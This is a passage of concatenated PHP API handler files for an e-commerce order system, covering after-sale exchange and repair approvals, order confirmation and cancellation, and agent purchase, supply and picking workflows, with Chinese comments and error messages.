case 'agreebarter': // 官网-同意换货申请 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberExchangeOrderID = (int)$filter['MemberExchangeOrderID']; $verifyInfo = $filter['verifyInfo'];// 数组。 $goodsEntityIDList = $filter['goodsEntityIDList'];// 数组, 新货的货品IDlist。 $adminID = (int)$verifyInfo['AdminID']; if (!$memberExchangeOrderID) { $returnData = MemberOrder::errorReturnData('MemberExchangeOrderID_IS_NULL','无法获取到用户换货订单编号'); MemberOrder::exitJsonData($returnData); } if (!is_array($verifyInfo) || count($verifyInfo) <= 0) { $returnData = MemberOrder::errorReturnData('VERIFYINFO_IS_NULL','换货审核信息不能为空'); MemberOrder::exitJsonData($returnData); } if (!is_array($goodsEntityIDList) || count($goodsEntityIDList) <= 0) { $returnData = MemberOrder::errorReturnData('GOODSENTITYIDLIST_IS_NULL','换货的新货品信息不能为空'); MemberOrder::exitJsonData($returnData); } if (!$adminID) { $returnData = MemberOrder::errorReturnData('ADMINID_IS_NULL','无法获取管理员编号'); MemberOrder::exitJsonData($returnData); } $handleResult = $memberOrder->agreeBarterOrderGoods($memberExchangeOrderID, $adminID, $verifyInfo, $goodsEntityIDList); MemberOrder::exitJsonData($handleResult); break; case 'refusebarter': // 官网-驳回换货申请 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberExchangeOrderID = (int)$filter['MemberExchangeOrderID']; $verifyInfo = $filter['verifyInfo'];// 数组。 $adminID = (int)$verifyInfo['AdminID']; if (!$memberExchangeOrderID) { $returnData = MemberOrder::errorReturnData('MemberExchangeOrderID_IS_NULL','用户订单编号参数非法'); MemberOrder::exitJsonData($returnData); } $coreOrderID = $filter['CoreOrderID']; $memberOrderID = $memberOrder->getMemberOrderIDByCoreOrderID($coreOrderID); if (!$adminID) { $returnData = MemberOrder::errorReturnData('ADMINID_IS_NULL','无法获取管理员编号'); MemberOrder::exitJsonData($returnData); } $handleResult = $memberOrder->refuseBarterOrderGoods($memberExchangeOrderID, $adminID, $verifyInfo); MemberOrder::exitJsonData($handleResult); break; case 'applyrepair': // 申请换货 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberOrderID = (int)$filter['MemberOrderID']; $repairInfo = $filter['repairInfo']; $goodsEntityIDList = $filter['goodsEntityIDList'];//货品信息 if (!$memberOrderID) { $returnData = MemberOrder::errorReturnData('MemberOrderID_IS_ILLEGAL','用户订单编号参数非法'); MemberOrder::exitJsonData($returnData); } $coreOrderID = $filter['CoreOrderID']; $memberOrderID = $memberOrder->getMemberOrderIDByCoreOrderID($coreOrderID); if (!is_array($repairInfo) || count($repairInfo) <= 0) { $returnData = MemberOrder::errorReturnData('BARTERINFO_IS_NULL','返修申请信息不能为空'); MemberOrder::exitJsonData($returnData); } if (!is_array($goodsEntityIDList) || count($goodsEntityIDList) <= 0) { $returnData = MemberOrder::errorReturnData('GOODSENTITYIDLIST_IS_NULL','返修的货品信息不能为空'); MemberOrder::exitJsonData($returnData); } $handleResult = $memberOrder->applyRepairOrderGoods($memberOrderID, $barterInfo,$goodsEntityIDList); MemberOrder::exitJsonData($handleResult); break; case 'applyaftersale': // 官网使用 - 申请换货/退货/返修 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberOrderID = (int)$filter['MemberOrderID']; if (!$memberOrderID) { $returnData = MemberOrder::errorReturnData('MemberOrderID_IS_NULL','用户订单编号为空'); MemberOrder::exitJsonData($returnData); } $type = $filter['type']; if (!in_array($type, array('repair','return','exchange'))) { $returnData = MemberOrder::errorReturnData('Type_ILLEGAL','类型参数非法'); MemberOrder::exitJsonData($returnData); } $afterSaleInfo['type'] = $filter['type']; $afterSaleInfo['GoodsID'] = $filter['GoodsID']; $afterSaleInfo['GoodsCount'] = $filter['GoodsCount']; $afterSaleInfo['Memo'] = $filter['Memo']; $afterSaleInfo['SenderName'] = $filter['SenderName']; $afterSaleInfo['SenderMobile'] = $filter['SenderMobile']; $afterSaleInfo['SenderProvinceID'] = $filter['SenderProvinceID']; $afterSaleInfo['SenderCityID'] = $filter['SenderCityID']; $afterSaleInfo['SenderAreaID'] = $filter['SenderAreaID']; $afterSaleInfo['SenderAddress'] = $filter['SenderAddress']; if (!$memberOrderID) { $returnData = MemberOrder::errorReturnData('MemberOrderID_IS_ILLEGAL','用户订单编号参数非法'); MemberOrder::exitJsonData($returnData); } $handleResult = $memberOrder->applyAfterSale($memberOrderID, $afterSaleInfo); MemberOrder::exitJsonData($handleResult); break; case 'agreerepair': // 同意换货申请 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberRepairOrderID = (int)$filter['MemberRepairOrderID']; $verifyInfo = $filter['verifyInfo'];// 数组。 $goodsEntityIDList = $filter['goodsEntityIDList'];// 数组, 新货的货品IDlist。 $adminID = (int)$verifyInfo['AdminID']; if (!$memberRepairOrderID) { $returnData = MemberOrder::errorReturnData('MemberRepairOrderID_IS_NULL','用户订单编号参数非法'); MemberOrder::exitJsonData($returnData); } $coreOrderID = $filter['CoreOrderID']; $memberOrderID = $memberOrder->getMemberOrderIDByCoreOrderID($coreOrderID); if (!is_array($verifyInfo) || count($verifyInfo) <= 0) { $returnData = MemberOrder::errorReturnData('VERIFYINFO_IS_NULL','返修审核信息不能为空'); MemberOrder::exitJsonData($returnData); } if (!is_array($goodsEntityIDList) || count($goodsEntityIDList) <= 0) { $returnData = MemberOrder::errorReturnData('GOODSENTITYIDLIST_IS_NULL','返修的新货品信息不能为空'); MemberOrder::exitJsonData($returnData); } if (!$adminID) { $returnData = MemberOrder::errorReturnData('ADMINID_IS_NULL','无法获取管理员编号'); MemberOrder::exitJsonData($returnData); } $handleResult = $memberOrder->agreeRepairOrderGoods($memberRepairOrderID, $adminID, $verifyInfo, $goodsEntityIDList); MemberOrder::exitJsonData($handleResult); break; case 'refuserepair': // 驳回换货申请 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberRepairOrderID = (int)$filter['MemberRepairOrderID']; $verifyInfo = $filter['verifyInfo'];// 数组。 $adminID = (int)$verifyInfo['AdminID']; if (!$memberRepairOrderID) { $returnData = MemberOrder::errorReturnData('MemberRepairOrderID_IS_NULL','用户订单编号参数非法'); MemberOrder::exitJsonData($returnData); } $coreOrderID = $filter['CoreOrderID']; $memberOrderID = $memberOrder->getMemberOrderIDByCoreOrderID($coreOrderID); if (!$adminID) { $returnData = MemberOrder::errorReturnData('ADMINID_IS_NULL','无法获取管理员编号'); MemberOrder::exitJsonData($returnData); } $handleResult = $memberOrder->refuseBarterOrderGoods($memberRepairOrderID, $adminID, $verifyInfo); MemberOrder::exitJsonData($handleResult); break; case 'barterforagent': // 代理商和门店的退货,没有审核与待审核的过程,直接进入退货成功 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); if (isset($filter['MemberOrderID'])) { $returnData = MemberOrder::errorReturnData('MemberOrderID_IS_ILLEGAL','用户订单编号参数非法'); MemberOrder::exitJsonData($returnData); } $coreOrderID = $filter['CoreOrderID']; $memberOrderID = $memberOrder->getMemberOrderIDByCoreOrderID($coreOrderID); $handleResult = $memberOrder->applyBarterOrderGoods($memberOrderID); MemberOrder::exitJsonData($handleResult); break; case 'barterrefundforagent': // 然后退款成功 break; case 'confirm': // 确认收货 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); if (isset($filter['MemberOrderID'])) { $returnData = MemberOrder::errorReturnData('MemberOrderID_IS_ILLEGAL','用户订单编号参数非法'); MemberOrder::exitJsonData($returnData); } $coreOrderID = $filter['CoreOrderID']; $memberOrderID = $memberOrder->getMemberOrderIDByCoreOrderID($coreOrderID); $handleResult = $memberOrder->signOffOrder($memberOrderID); MemberOrder::exitJsonData($handleResult); break; case 'cancle': // 取消订单 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); if (isset($filter['MemberOrderID'])) { $returnData = MemberOrder::errorReturnData('MemberOrderID_IS_ILLEGAL','用户订单编号参数非法'); MemberOrder::exitJsonData($returnData); } $coreOrderID = $filter['CoreOrderID']; $memberOrderID = $memberOrder->getMemberOrderIDByCoreOrderID($coreOrderID); $handleResult = $memberOrder->cancleOrder($memberOrderID); MemberOrder::exitJsonData($handleResult); break; default: exit('请使用 confirm 或 cancle 调用此接口'); break; } } ?><file_sep><?php /** * 查询核心订单 * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <[<EMAIL>]> * @version v1.0 [2016-03-08 19:29:50] * @note 错误码使用范围 3030-3040 8030-8040 * @todo 此处要在比较订单状态之后,选择是查询商品还是查询货品。 */ /** * 查询核心订单 * @param [type] $core [description] * @return [type] [description] */ function pageApiCoreorderGetorderinfo(& $core) { switch ($core->action) { case 'getlist': // 为工厂和仓库提供订单列表接口,字段较少,包括订单编号、类型和商品的名称和数量。 $filter = $core->getFilter(); $coreOrder = $core->subCore->initCoreOrder();//表面上是用 MemberOrderID,实际上是用CoreOrderID // 分页信息 $pager['pageid'] = (int)$filter['pageid'] ? (int)$filter['pageid'] : 1; $pager['limit'] = (int)$filter['limit'] ? (int)$filter['limit'] : 10; $memberOrderCount = $memberOrder->getCoreOrderCount($filter); $core->setUsePager($memberOrderCount, $pager['limit']); list($first,$limit) = $core->getLimitByPager(false, $pager['pageid']); $pager['first'] = $first; $memberOrderList = $memberOrder->getCoreOrderList($pager, $filter, $sort); $data = array('pageid'=>$pager['pageid'], 'limit'=>$pager['limit'], 'memberOrderCount'=>$memberOrderCount, 'memberOrderList'=>$memberOrderList); MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); break; default: exit('请使用其他接口'); break; } } ?><file_sep><?php /** * 为APP获取订单信息 * @category AgentOrder * @package APP Order * @author huangzhen <<EMAIL>> * @version v1.0 2016-04-17 */ /*ini_set('display_errors', true); error_reporting(E_ALL);*/ function pageApiAgentGetorderforapp(&$core) { switch ($core->action) { // 获取供货记录列表 case 'getsupplylist': $filter = $core->getFilter(); $operatorSourceTypeID = $filter['OperatorSourceTypeID']; $operatorSourceID = $filter['OperatorSourceID']; AgentOrder::exitJsonData(AgentOrder::successReturnData($data)); break; // 获取采购单商品列表 case 'getpurchaselist': $returnData = array('status' => 'failed', 'reason' => '', 'data' => ''); $filter = $core->getFilter(); $pageID = $filter['PageID'] ? $filter['PageID'] : 1; $limit = $filter['Limit'] ? $filter['Limit'] : 10; $agentOrder = $core->subCore->initAgentOrder(); $agentPurchaseStatusID = AgentOrder::AGENTORDERSTATUS_REVIEW_SUCCESS; $condition['AgentPurchaseStatusID'] = $agentPurchaseStatusID; if ($filter['WarehouseID'] > 0) { $condition['WarehouseID'] = (int)$filter['WarehouseID']; } if ($filter['OperatorID'] > 0) { $condition['OperatorID'] = (int)$filter['OperatorID']; } if ($filter['OperatorSourceID'] > 0) { $condition['OperatorSourceID'] = (int)$filter['OperatorSourceID']; } if ($filter['OperatorSourceTypeID'] > 0) { $condition['OperatorSourceTypeID'] = (int)$filter['OperatorSourceTypeID']; } $purchaseOrderCount = $agentOrder->getAgentPurchaseOrderCount($condition); if ($filter['IsAgent']) { $pager['limit'] = $purchaseOrderCount; } else { $pager['limit'] = $limit; } $pager['first'] = ($pageID - 1) * $limit; $purchaseOrderList = $agentOrder->getAgentPurchaseOrderList($pager, $condition); foreach ($purchaseOrderList as $itemKey => $itemVal) { $agentPurchaseOrderList[$itemKey]['CoreOrderType'] = '采购单'; $agentPurchaseOrderList[$itemKey]['CoreOrderID'] = $itemVal['CoreOrderID']; $coreOrderIDList[] = $itemVal['CoreOrderID']; if ($itemVal['IsLock'] == AgentOrder::ORDERPURCHASEORDER_LOCKING) { $coreOrderIDListForLocking[] = $itemVal['CoreOrderID']; } } if ($coreOrderIDListForLocking) { $supplyRecordList = $agentOrder->getSupplyRecordList(0, 10, 'SupplyRecordID', 'DESC', $coreOrderIDListForLocking); foreach ($supplyRecordList as $itemKey => $itemVal) { $adminIDList[$itemVal['CoreOrderID']] = $itemVal['AdminID']; } } $coreOrderIDList = array_unique(array_filter($coreOrderIDList)); $coreOrderGoodsList = $agentOrder->getCoreOrderGoodsListByCoreOrderID($coreOrderIDList); foreach ($coreOrderGoodsList as $itemKey => $itemVal) { $coreOrderGoodsIDList[] = $itemVal['CoreOrderGoodsID']; } $coreOrderGoodsIDList = array_unique(array_filter($coreOrderGoodsIDList)); $orderGoodsSpecList = $agentOrder->getOrderGoodsSpec($coreOrderGoodsIDList); foreach ($orderGoodsSpecList as $itemKey => $itemVal) { $goodsSpecList[$itemVal['CoreOrderGoodsID']]['Specification'] .= $itemVal['SpecificationName'] . ':' . $itemVal['SpecificationValue'] . ' | '; } foreach ($coreOrderGoodsList as $itemKey => $itemVal) { $itemVal['SpecificationList'] = rtrim($goodsSpecList[$itemVal['CoreOrderGoodsID']]['Specification'], ' | '); $itemVal['Surplus'] = $itemVal['GoodsCount']; $goodsList[$itemVal['CoreOrderID']][] = $itemVal; } $supplyRecordCount = $agentOrder->getSupplyRecordCount( $coreOrderID, $supplyRecordID = null, $supplyRecordStatusID = null, $startAddTime = null, $endAddTime = null); $supplyRecordList = $agentOrder->getSupplyRecordList( $first = 0, $limit = $supplyRecordCount, $sortField = 'SupplyRecordID', $sortWay = 'DESC', $coreOrderID, $supplyRecordID = null, $supplyRecordStatusID = null, $startAddTime = null, $endAddTime = null); foreach ($supplyRecordList as $itemKey => $itemVal) { $supplyRecordIDList = $itemVal['SupplyRecordID']; } if (is_array($supplyRecordIDList) && count($supplyRecordIDList) > 0) { $supplyGoodsList = $agentOrder->getSupplyGoodsList($supplyRecordIDList); foreach ($supplyGoodsList as $itemKey => $itemVal) { if ($goodsListForSupply[$itemVal['SupplyRecordID']][$itemVal['GoodsID']]) { $goodsListForSupply[$itemVal['SupplyRecordID']][$itemVal['GoodsID']] += $itemVal['GoodsCount']; } else { $goodsListForSupply[$itemVal['SupplyRecordID']][$itemVal['GoodsID']] = $itemVal['GoodsCount']; } } } foreach ($supplyRecordList as $itemKey => $itemVal) { $supplyGoodsStatList[$itemVal['CoreOrderID']] = $goodsListForSupply[$itemVal['SupplyRecordID']]; } $attachment = $core->initAttachment(); $attachmentUrl = $attachment->loadConfig('_AttachmentUrlList', 'app'); foreach ($goodsList as $goodsKey => $goodsVal) { foreach ($goodsVal as $itemKey => $itemVal) { $goodsList[$goodsKey][$itemKey]['Surplus'] = (string)($itemVal['Surplus'] - $supplyGoodsStatList[$itemVal['CoreOrderGoodsID']][$itemVal['GoodsID']]); $goodsList[$goodsKey][$itemKey]['GoodsImagePath'] = $attachmentUrl . $itemVal['GoodsImagePath']; $goodsTotalPriceList[$goodsKey] += $itemVal['PurchasePrice'] * $itemVal['GoodsCount']; } } foreach ($purchaseOrderList as $itemKey => $itemVal) { $agentPurchaseOrderList[$itemKey]['CoreOrderType'] = '采购单'; $agentPurchaseOrderList[$itemKey]['CoreOrderID'] = $itemVal['CoreOrderID']; $agentPurchaseOrderList[$itemKey]['GoodsList'] = $goodsList[$itemVal['CoreOrderID']]; $agentPurchaseOrderList[$itemKey]['GoodsCount'] = (string)count($goodsList[$itemVal['CoreOrderID']]); $agentPurchaseOrderList[$itemKey]['AdminID'] = (string)$adminIDList[$itemVal['CoreOrderID']]; $agentPurchaseOrderList[$itemKey]['TotalAmount'] = (string)$goodsTotalPriceList[$itemVal['CoreOrderID']]; } $returnData['status'] = 'success'; $returnData['data'] = $agentPurchaseOrderList; exit(json_encode($returnData)); break; case 'getdetailbylogisticsnumber': $returnData = array('status' => 'failed', 'reason' => '', 'data' => ''); $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $logisticsNumber = $filter['LogisticsNumber']; $supplyRecordDetail = $agentOrder->getSupplyRecordDetail($supplyRecordID = null, $coreOrderID = null, $logisticsNumber); $coreOrderID = $supplyRecordDetail['CoreOrderID']; $agentPurchaseOrderDetail = $agentOrder->getAgentPurchaseOrderDetailByCoreOrderID($coreOrderID); $coreOrderGoodsList = $agentOrder->getCoreOrderGoodsListByCoreOrderID($coreOrderID); foreach ($coreOrderGoodsList as $itemKey => $itemVal) { $coreOrderGoodsIDList[] = $itemVal['CoreOrderGoodsID']; $goodsList[$itemVal['CoreOrderID']][] = $itemVal; } $coreOrderGoodsIDList = array_unique(array_filter($coreOrderGoodsIDList)); $orderGoodsSpecList = $agentOrder->getOrderGoodsSpec($coreOrderGoodsIDList); foreach ($orderGoodsSpecList as $itemKey => $itemVal) { $goodsSpecList[$itemVal['CoreOrderGoodsID']]['Specification'] .= $itemVal['SpecificationName'] . ':' . $itemVal['SpecificationValue'] . ' | '; } foreach ($coreOrderGoodsList as $itemKey => $itemVal) { $coreOrderGoodsList[$itemKey]['SpecificationList'] = rtrim($goodsSpecList[$itemVal['CoreOrderGoodsID']]['Specification'], ' | '); } $supplyRecordCount = $agentOrder->getSupplyRecordCount( $coreOrderID, null, $supplyRecordStatusID = null, $startAddTime = null, $endAddTime = null); $supplyRecordList = $agentOrder->getSupplyRecordList( $first = 0, $limit = $supplyRecordCount, $sortField = 'SupplyRecordID', $sortWay = 'DESC', $coreOrderID, null, $supplyRecordStatusID = null, $startAddTime = null, $endAddTime = null); foreach ($supplyRecordList as $itemKey => $itemVal) { $supplyRecordIDList = $itemVal['SupplyRecordID']; } if (is_array($supplyRecordIDList) && count($supplyRecordIDList) > 0) { $supplyGoodsList = $agentOrder->getSupplyGoodsList($supplyRecordIDList); foreach ($supplyGoodsList as $itemKey => $itemVal) { if ($goodsListForSupply[$itemVal['GoodsID']]) { $goodsListForSupply[$itemVal['GoodsID']] += $itemVal['GoodsCount']; } else { $goodsListForSupply[$itemVal['GoodsID']] = $itemVal['GoodsCount']; } } } foreach ($coreOrderGoodsList as $itemKey => $itemVal) { $coreOrderGoodsList[$itemKey]['Surplus'] = (string)($itemVal['GoodsCount'] - (int)$goodsListForSupply[$itemVal['GoodsID']]); } if ($supplyRecordID > 0) { $returnData['status'] = 'success'; $returnData['data']['SupplyRecordID'] = $supplyRecordID; $returnData['data']['CoreOrderGoodsList'] = $coreOrderGoodsList; $returnData['data']['CoreOrderID'] = $coreOrderID; } exit(json_encode($returnData)); break; case 'getdetailbygoodsentityid': $returnData = array('status' => 'failed', 'reason' => '', 'data' => ''); $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $goodsEntityID = $filter['GoodsEntityID']; $goodsEntityDetail = $agentOrder->getSupplyGoodsEntityDetailByGoodsEntityID($goodsEntityID, $targetFields = array('SupplyRecordID')); $supplyRecordID = $goodsEntityDetail['SupplyRecordID']; if ($supplyRecordID <= 0) { $returnData['reason'] = 'SupplyRecordID_Is_Null'; exit(json_encode($returnData)); } $supplyRecordDetail = $agentOrder->getSupplyRecordDetail($supplyRecordID = null, $coreOrderID = null, $logisticsNumber); $coreOrderID = $supplyRecordDetail['CoreOrderID']; $agentPurchaseOrderDetail = $agentOrder->getAgentPurchaseOrderDetailByCoreOrderID($coreOrderID); $coreOrderGoodsList = $agentOrder->getCoreOrderGoodsListByCoreOrderID($coreOrderID); foreach ($coreOrderGoodsList as $itemKey => $itemVal) { $coreOrderGoodsIDList[] = $itemVal['CoreOrderGoodsID']; $goodsList[$itemVal['CoreOrderID']][] = $itemVal; } $coreOrderGoodsIDList = array_unique(array_filter($coreOrderGoodsIDList)); $orderGoodsSpecList = $agentOrder->getOrderGoodsSpec($coreOrderGoodsIDList); foreach ($orderGoodsSpecList as $itemKey => $itemVal) { $goodsSpecList[$itemVal['CoreOrderGoodsID']]['Specification'] .= $itemVal['SpecificationName'] . ':' . $itemVal['SpecificationValue'] . ' | '; } foreach ($coreOrderGoodsList as $itemKey => $itemVal) { $coreOrderGoodsList[$itemKey]['SpecificationList'] = rtrim($goodsSpecList[$itemVal['CoreOrderGoodsID']]['Specification'], ' | '); } $supplyRecordCount = $agentOrder->getSupplyRecordCount( $coreOrderID, null, $supplyRecordStatusID = null, $startAddTime = null, $endAddTime = null); $supplyRecordList = $agentOrder->getSupplyRecordList( $first = 0, $limit = $supplyRecordCount, $sortField = 'SupplyRecordID', $sortWay = 'DESC', $coreOrderID, null, $supplyRecordStatusID = null, $startAddTime = null, $endAddTime = null); foreach ($supplyRecordList as $itemKey => $itemVal) { $supplyRecordIDList = $itemVal['SupplyRecordID']; } if (is_array($supplyRecordIDList) && count($supplyRecordIDList) > 0) { $supplyGoodsList = $agentOrder->getSupplyGoodsList($supplyRecordIDList); foreach ($supplyGoodsList as $itemKey => $itemVal) { if ($goodsListForSupply[$itemVal['GoodsID']]) { $goodsListForSupply[$itemVal['GoodsID']] += $itemVal['GoodsCount']; } else { $goodsListForSupply[$itemVal['GoodsID']] = $itemVal['GoodsCount']; } } } foreach ($coreOrderGoodsList as $itemKey => $itemVal) { $coreOrderGoodsList[$itemKey]['Surplus'] = (string)($itemVal['GoodsCount'] - (int)$goodsListForSupply[$itemVal['GoodsID']]); } if ($supplyRecordID > 0) { $returnData['status'] = 'success'; $returnData['data']['SupplyRecordID'] = $supplyRecordID; $returnData['data']['CoreOrderGoodsList'] = $coreOrderGoodsList; $returnData['data']['CoreOrderID'] = $coreOrderID; } exit(json_encode($returnData)); break; // 获取供货单详情【代理商】 case 'getdetailforagent': $returnData = array('status' => 'failed', 'reason' => '', 'data' => ''); $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $supplyRecordID = $filter['SupplyRecordID']; if ($supplyRecordID <= 0) { $returnData['reason'] = 'SupplyRecordID_Is_Null'; exit(json_encode($returnData)); } $supplyRecordDetail = $agentOrder->getSupplyRecordDetail($supplyRecordID, $coreOrderID = null, $logisticsNumber = null); $supplyGoodsList = $agentOrder->getSupplyGoodsList($supplyRecordID); foreach ($supplyGoodsList as $itemKey => $itemVal) { $goodsIDList[] = $itemVal['GoodsID']; $goodsList[$itemVal['GoodsID']] = $itemVal['GoodsCount']; } $goodsIDList = array_unique(array_filter($goodsIDList)); $coreOrderID = $supplyRecordDetail['CoreOrderID']; $coreOrderGoodsList = $agentOrder->getCoreOrderGoodsListByCoreOrderID($coreOrderID, $goodsIDList); $orderGoodsSpecList = $agentOrder->getOrderGoodsSpec($goodsIDList); foreach ($orderGoodsSpecList as $itemKey => $itemVal) { $goodsSpecList[$itemVal['CoreOrderGoodsID']]['Specification'] .= $itemVal['SpecificationName'] . ':' . $itemVal['SpecificationValue'] . ' | '; } foreach ($coreOrderGoodsList as $itemKey => $itemVal) { $coreOrderGoodsList[$itemKey]['GoodsCount'] = $goodsList[$itemVal['GoodsID']]; $coreOrderGoodsList[$itemVal]['Specification'] = $goodsSpecList[$itemVal['GoodsID']]['Specification']; $totalAmount += $itemVal['PurchasePrice'] * $itemVal['GoodsCount']; } $data['CoreOrderID'] = $coreOrderID; $data['GoodsCount'] = count($coreOrderGoodsList); $data['GoodsList'] = $coreOrderGoodsList; $data['TotalAmount'] = $totalAmount; AgentOrder::exitJsonData(AgentOrder::successReturnData($data)); break; // 获取供货单号 case 'getdetail': $returnData = array('status' => 'failed', 'reason' => '', 'data' => ''); $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $coreOrderID = $filter['CoreOrderID']; if ($coreOrderID <= 0) { $returnData['reason'] = 'CoreOrderID_Is_Null'; exit(json_encode($returnData)); } $adminID = $filter['AdminID']; if ($adminID <= 0) { $returnData['reason'] = 'AdminID_Is_Null'; exit(json_encode($returnData)); } $agentPurchaseOrderDetail = $agentOrder->getAgentPurchaseOrderDetailByCoreOrderID($coreOrderID); $isLock = $agentPurchaseOrderDetail['IsLock']; $supplyRecordDetail = $agentOrder->getSupplyRecordDetail($supplyRecordID = null, $coreOrderID); if ($isLock == AgentOrder::ORDERPURCHASEORDER_LOCKING) { if ($supplyRecordDetail['AdminID'] != $adminID) { return AgentOrder::errorReturnData('AdminID_Is_Failed','该订单已被操作'); } else { $supplyRecordID = $supplyRecordDetail['SupplyRecordID']; } } else { $supplyRecordData['CoreOrderID'] = $coreOrderID; $supplyRecordData['AdminID'] = $adminID; $supplyRecordID = $agentOrder->addSupplyRecord($coreOrderID, $supplyRecordData); } $coreOrderGoodsList = $agentOrder->getCoreOrderGoodsListByCoreOrderID($coreOrderID); foreach ($coreOrderGoodsList as $itemKey => $itemVal) { $coreOrderGoodsIDList[] = $itemVal['CoreOrderGoodsID']; $goodsList[$itemVal['CoreOrderID']][] = $itemVal; } $coreOrderGoodsIDList = array_unique(array_filter($coreOrderGoodsIDList)); $orderGoodsSpecList = $agentOrder->getOrderGoodsSpec($coreOrderGoodsIDList); foreach ($orderGoodsSpecList as $itemKey => $itemVal) { $goodsSpecList[$itemVal['CoreOrderGoodsID']]['Specification'] .= $itemVal['SpecificationName'] . ':' . $itemVal['SpecificationValue'] . ' | '; } foreach ($coreOrderGoodsList as $itemKey => $itemVal) { $coreOrderGoodsList[$itemKey]['SpecificationList'] = rtrim($goodsSpecList[$itemVal['CoreOrderGoodsID']]['Specification'], ' | '); } $supplyRecordCount = $agentOrder->getSupplyRecordCount( $coreOrderID, null, $supplyRecordStatusID = null, $startAddTime = null, $endAddTime = null); $supplyRecordList = $agentOrder->getSupplyRecordList( $first = 0, $limit = $supplyRecordCount, $sortField = 'SupplyRecordID', $sortWay = 'DESC', $coreOrderID, null, $supplyRecordStatusID = null, $startAddTime = null, $endAddTime = null); foreach ($supplyRecordList as $itemKey => $itemVal) { $supplyRecordIDList = $itemVal['SupplyRecordID']; } if (is_array($supplyRecordIDList) && count($supplyRecordIDList) > 0) { $supplyGoodsList = $agentOrder->getSupplyGoodsList($supplyRecordIDList); foreach ($supplyGoodsList as $itemKey => $itemVal) { if ($goodsListForSupply[$itemVal['GoodsID']]) { $goodsListForSupply[$itemVal['GoodsID']] += $itemVal['GoodsCount']; } else { $goodsListForSupply[$itemVal['GoodsID']] = $itemVal['GoodsCount']; } } } foreach ($coreOrderGoodsList as $itemKey => $itemVal) { $coreOrderGoodsList[$itemKey]['Surplus'] = (string)($itemVal['GoodsCount'] - (int)$goodsListForSupply[$itemVal['GoodsID']]); } if ($supplyRecordID > 0) { $data['SupplyRecordID'] = $supplyRecordID; $data['CoreOrderGoodsList'] = $coreOrderGoodsList; $data['CoreOrderID'] = $coreOrderID; } AgentOrder::exitJsonData(AgentOrder::successReturnData($data)); break; // 捡货 case 'pickup': $returnData = array('status' => 'failed', 'reason' => '', 'data' => ''); $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $coreOrderID = (int)$filter['CoreOrderID']; $supplyRecordID = (int)$filter['SupplyRecordID']; $goodsID = $filter['GoodsID']; $goodsEntityID = $filter['GoodsEntityID']; $returnData = $agentOrder->completeSupplyRecord( $coreOrderID, $supplyRecordID, $goodsID, $goodsEntityID); if ($returnData['status'] != 'success') { AgentOrder::exitJsonData($returnData); } $coreOrderGoodsList = $agentOrder->getCoreOrderGoodsListByCoreOrderID($coreOrderID); foreach ($coreOrderGoodsList as $itemKey => $itemVal) { $coreOrderGoodsIDList[] = $itemVal['CoreOrderGoodsID']; $goodsList[$itemVal['CoreOrderID']][] = $itemVal; } $coreOrderGoodsIDList = array_unique(array_filter($coreOrderGoodsIDList)); $orderGoodsSpecList = $agentOrder->getOrderGoodsSpec($coreOrderGoodsIDList); foreach ($orderGoodsSpecList as $itemKey => $itemVal) { $goodsSpecList[$itemVal['CoreOrderGoodsID']]['Specification'] .= $itemVal['SpecificationName'] . ':' . $itemVal['SpecificationValue'] . ' | '; } foreach ($coreOrderGoodsList as $itemKey => $itemVal) { $coreOrderGoodsList[$itemKey]['SpecificationList'] = rtrim($goodsSpecList[$itemVal['CoreOrderGoodsID']]['Specification'], ' | '); } $supplyRecordCount = $agentOrder->getSupplyRecordCount( $coreOrderID, null, $supplyRecordStatusID = null, $startAddTime = null, $endAddTime = null); $supplyRecordList = $agentOrder->getSupplyRecordList( $first = 0, $limit = $supplyRecordCount, $sortField = 'SupplyRecordID', $sortWay = 'DESC', $coreOrderID, null, $supplyRecordStatusID = null, $startAddTime = null, $endAddTime = null); foreach ($supplyRecordList as $itemKey => $itemVal) { $supplyRecordIDList = $itemVal['SupplyRecordID']; } if (is_array($supplyRecordIDList) && count($supplyRecordIDList) > 0) { $supplyGoodsList = $agentOrder->getSupplyGoodsList($supplyRecordIDList); foreach ($supplyGoodsList as $itemKey => $itemVal) { if ($goodsListForSupply[$itemVal['GoodsID']]) { $goodsListForSupply[$itemVal['GoodsID']] += $itemVal['GoodsCount']; } else { $goodsListForSupply[$itemVal['GoodsID']] = $itemVal['GoodsCount']; } } } foreach ($coreOrderGoodsList as $itemKey => $itemVal) { $coreOrderGoodsList[$itemKey]['Surplus'] = (string)($itemVal['GoodsCount'] - (int)$goodsListForSupply[$itemVal['GoodsID']]); } if ($supplyRecordID > 0) { $data['SupplyRecordID'] = $supplyRecordID; $data['CoreOrderGoodsList'] = $coreOrderGoodsList; $data['CoreOrderID'] = $coreOrderID; } AgentOrder::exitJsonData(AgentOrder::successReturnData($data)); exit(json_encode($returnData)); break; // 捡货完毕 case 'pickupfinish': $returnData = array('status' => 'failed', 'reason' => '', 'data' => ''); $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $supplyRecordID = (int)$filter['SupplyRecordID']; $coreOrderID = (int)$filter['CoreOrderID']; $returnData = $agentOrder->supplyGoodsPickUpFinish($coreOrderID, $supplyRecordID); exit(json_encode($returnData)); break; // 打包 case 'pack': $returnData = array('status' => 'failed', 'reason' => '', 'data' => ''); $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $adminID = (int)$filter['AdminID']; $goodsEntityID = (int)$filter['GoodsEntityID']; $goodsID = (int)$filter['GoodsID']; $supplyRecordID = (int)$filter['SupplyRecordID']; if ($supplyRecordID <= 0) { 